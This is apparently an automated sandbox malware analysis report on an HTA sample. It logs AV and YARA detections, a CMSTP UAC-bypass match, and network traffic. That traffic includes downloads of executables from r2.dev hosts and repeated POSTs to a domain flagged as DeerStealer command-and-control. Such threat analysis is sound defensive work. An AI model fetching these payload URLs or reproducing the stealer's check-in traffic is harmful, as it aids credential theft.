                    2024-12-07T15:44:38.353923+010020283713Unknown Traffic192.168.2.449805104.21.72.125443TCP
                    2024-12-07T15:44:43.210359+010020283713Unknown Traffic192.168.2.449810104.21.72.125443TCP
                    2024-12-07T15:44:45.130316+010020283713Unknown Traffic192.168.2.449822104.21.72.125443TCP
                    2024-12-07T15:44:47.335310+010020283713Unknown Traffic192.168.2.449828104.21.72.125443TCP
                    2024-12-07T15:44:50.067112+010020283713Unknown Traffic192.168.2.449834104.21.72.125443TCP
                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-12-07T15:44:25.663501+010020565501A Network Trojan was detected192.168.2.449769104.21.72.125443TCP

                    Joe Sandbox Signatures

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Multi AV Scanner detection for dropped file
                    Source: C:\Users\user\AppData\Local\Temp\yawaReversingLabs: Detection: 63%
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeReversingLabs: Detection: 62%
                    Source: C:\Users\user\AppData\Roaming\second.exeReversingLabs: Detection: 41%
                    Multi AV Scanner detection for submitted file
                    Source: upgrade.htaReversingLabs: Detection: 31%
                    AI detected suspicious sample
                    Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
                    Machine Learning detection for dropped file
                    Source: C:\Users\user\AppData\Local\Temp\yawaJoe Sandbox ML: detected
                    Source: C:\Users\user\AppData\Local\Temp\btbiigJoe Sandbox ML: detected
                    Source: C:\Users\user\AppData\Local\Temp\sfywpwaJoe Sandbox ML: detected

                    Exploits

                    barindex
                    Yara detected UAC Bypass using CMSTP
                    Source: Yara matchFile source: 18.2.BQE_Fast.exe.26fdaed.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 23.2.cmd.exe.4c546cd.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 29.2.cmd.exe.4fdcacd.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.cmd.exe.4ea3a00.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 23.2.cmd.exe.2c507f8.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 29.2.cmd.exe.4fdd6cd.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 18.2.BQE_Fast.exe.26b8a20.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 23.2.cmd.exe.4c0ea00.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 23.2.cmd.exe.4c53acd.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.cmd.exe.4ee8acd.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 29.2.cmd.exe.4f97a00.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.cmd.exe.4ee96cd.5.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 18.2.BQE_Fast.exe.26fe6ed.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000006.00000002.2004201753.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000001D.00000002.2903997125.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.2605244009.0000000004C08000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000014.00000002.2453490254.0000000003555000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000004.00000002.1900009727.00000000035C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000017.00000002.2604784415.0000000002C50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000001C.00000002.2696241542.0000000003591000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000015.00000002.2552101961.00000000035AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000012.00000002.2683907473.00000000026B2000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: cmd.exe PID: 3412, type: MEMORYSTR
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeFile opened: C:\Users\user\msvcr90.dllJump to behavior
                    Source: unknownHTTPS traffic detected: 172.66.0.235:443 -> 192.168.2.4:49730 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49731 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49769 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49777 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49782 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49793 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49799 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49805 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49810 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49822 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49828 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49834 version: TLS 1.2
                    Source: Binary string: msvcp100.amd64.pdb source: Virtual.exe, 0000000D.00000003.2093480853.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2099999088.00000000665EF000.00000002.00000001.01000000.00000017.sdmp, Virtual.exe, 0000000F.00000002.2278437603.000000006646F000.00000002.00000001.01000000.0000001F.sdmp
                    Source: Binary string: D:\tinderbox\win-4.2\out\win.amd64\release\obj\VBoxDDU\VBoxDDU.pdb source: Virtual.exe, 0000000D.00000002.2141095655.00007FFE0CFD5000.00000002.00000001.01000000.00000014.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2279644057.00007FFDFFD45000.00000002.00000001.01000000.0000001C.sdmp
                    Source: Binary string: msvcr100.amd64.pdb source: Virtual.exe, 0000000D.00000003.2093740203.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2110101564.00000000666D1000.00000002.00000001.01000000.00000016.sdmp, Virtual.exe, 0000000F.00000002.2278660752.0000000066551000.00000002.00000001.01000000.0000001E.sdmp
                    Source: Binary string: D:\tinderbox\win-4.2\out\win.amd64\release\obj\VBoxSVC\VBoxSVC.pdb source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp
                    Source: Binary string: ntdll.pdb source: Virtual.exe, 0000000D.00000002.2098668905.000000000304A000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098954134.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277689899.00000000041E6000.00000004.00000001.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277261539.0000000003BEA000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277431868.0000000003FE0000.00000004.00000800.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2690790930.0000000006DC0000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2687505922.0000000004FC7000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2689443243.00000000061C5000.00000004.00000001.00020000.00000000.sdmp
                    Source: Binary string: wntdll.pdbUGP source: pyexec.exe, 00000004.00000002.1900868837.0000000003D20000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1900742358.00000000039C1000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2017515262.0000000003C30000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2014809180.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2025935355.0000000003FE7000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2319003347.00000000053E0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318533080.0000000004AF6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419635170.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419361521.000000000480F000.00000004.00000020.00020000.00000000.sdmp
                    Source: Binary string: ntdll.pdbUGP source: Virtual.exe, 0000000D.00000002.2098668905.000000000304A000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098954134.0000000003440000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277689899.00000000041E6000.00000004.00000001.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277261539.0000000003BEA000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277431868.0000000003FE0000.00000004.00000800.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2690790930.0000000006DC0000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2687505922.0000000004FC7000.00000004.00000001.00020000.00000000.sdmp, BQE_Fast.exe, 00000012.00000002.2689443243.00000000061C5000.00000004.00000001.00020000.00000000.sdmp
                    Source: Binary string: wntdll.pdb source: pyexec.exe, 00000004.00000002.1900868837.0000000003D20000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1900742358.00000000039C1000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2017515262.0000000003C30000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2014809180.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2025935355.0000000003FE7000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2319003347.00000000053E0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318533080.0000000004AF6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419635170.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419361521.000000000480F000.00000004.00000020.00020000.00000000.sdmp
                    Source: Binary string: D:\tinderbox\win-4.2\out\win.amd64\release\obj\VBoxRT\VBoxRT.pdb source: Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmp
                    Source: Binary string: C:\build27\cpython\PCBuild\python27.pdb source: pyexec.exe, 00000004.00000003.1895098686.00000000020A2000.00000004.00000001.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmp, pyexec.exe, 00000006.00000002.2039080915.0000000066B1A000.00000002.00000001.01000000.00000011.sdmp
                    Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: second.exe, 0000000C.00000000.1958006340.00007FF79457C000.00000002.00000001.01000000.00000012.sdmp, second.exe, 0000000C.00000002.1978321168.00007FF79457C000.00000002.00000001.01000000.00000012.sdmp
                    Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: KNVYINNN.exe, 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp, KNVYINNN.exe, 00000003.00000000.1842267538.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp, KNVYINNN.exe, 00000009.00000002.2418362629.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp, KNVYINNN.exe, 00000009.00000000.1927446437.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmp
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD3984 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,3_2_00007FF7B1DD3984
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE62F0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,swprintf,SetDlgItemTextW,FindClose,swprintf,SetDlgItemTextW,SendDlgItemMessageW,swprintf,SetDlgItemTextW,swprintf,SetDlgItemTextW,3_2_00007FF7B1DE62F0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DF6DC0 FindFirstFileExA,3_2_00007FF7B1DF6DC0

                    Networking

                    barindex
                    Suricata IDS alerts for network traffic
                    Source: Network trafficSuricata IDS: 2056550 - Severity 1 - ET MALWARE Win32/DeerStealer CnC Checkin : 192.168.2.4:49769 -> 104.21.72.125:443
                    Source: global trafficHTTP traffic detected: GET /KNVYINNN.exe HTTP/1.1Host: pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.devConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /second.exe HTTP/1.1Host: pub-c5a18eb76e034d88899e1f44f859a849.r2.devConnection: Keep-Alive
                    Source: Joe Sandbox ViewIP Address: 162.159.140.237 162.159.140.237
                    Source: Joe Sandbox ViewIP Address: 162.159.140.237 162.159.140.237
                    Source: Joe Sandbox ViewIP Address: 172.66.0.235 172.66.0.235
                    Source: Joe Sandbox ViewIP Address: 172.66.0.235 172.66.0.235
                    Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                    Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                    Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49782 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49769 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49799 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49793 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49805 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49810 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49822 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 104.21.72.125:443
                    Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49828 -> 104.21.72.125:443
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 96Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 53Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 208Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 103358Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 745Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 212Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 380Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 39217Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 99897Host: lomejorerty6.site
                    Source: global trafficHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9gContent-Length: 35Host: lomejorerty6.site
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: global trafficHTTP traffic detected: GET /KNVYINNN.exe HTTP/1.1Host: pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.devConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET /second.exe HTTP/1.1Host: pub-c5a18eb76e034d88899e1f44f859a849.r2.devConnection: Keep-Alive
                    Source: global trafficDNS traffic detected: DNS query: pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev
                    Source: global trafficDNS traffic detected: DNS query: pub-c5a18eb76e034d88899e1f44f859a849.r2.dev
                    Source: global trafficDNS traffic detected: DNS query: lomejorerty6.site
                    Source: unknownHTTP traffic detected: POST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 96Host: lomejorerty6.site
                    Source: Virtual.exe, 0000000F.00000002.2277043287.00000000038A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://c0rl.m%L
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE278F5000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002E33000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
                    Source: Virtual.exe, 0000000D.00000002.2098463084.0000000002D10000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277043287.00000000038A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicer
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
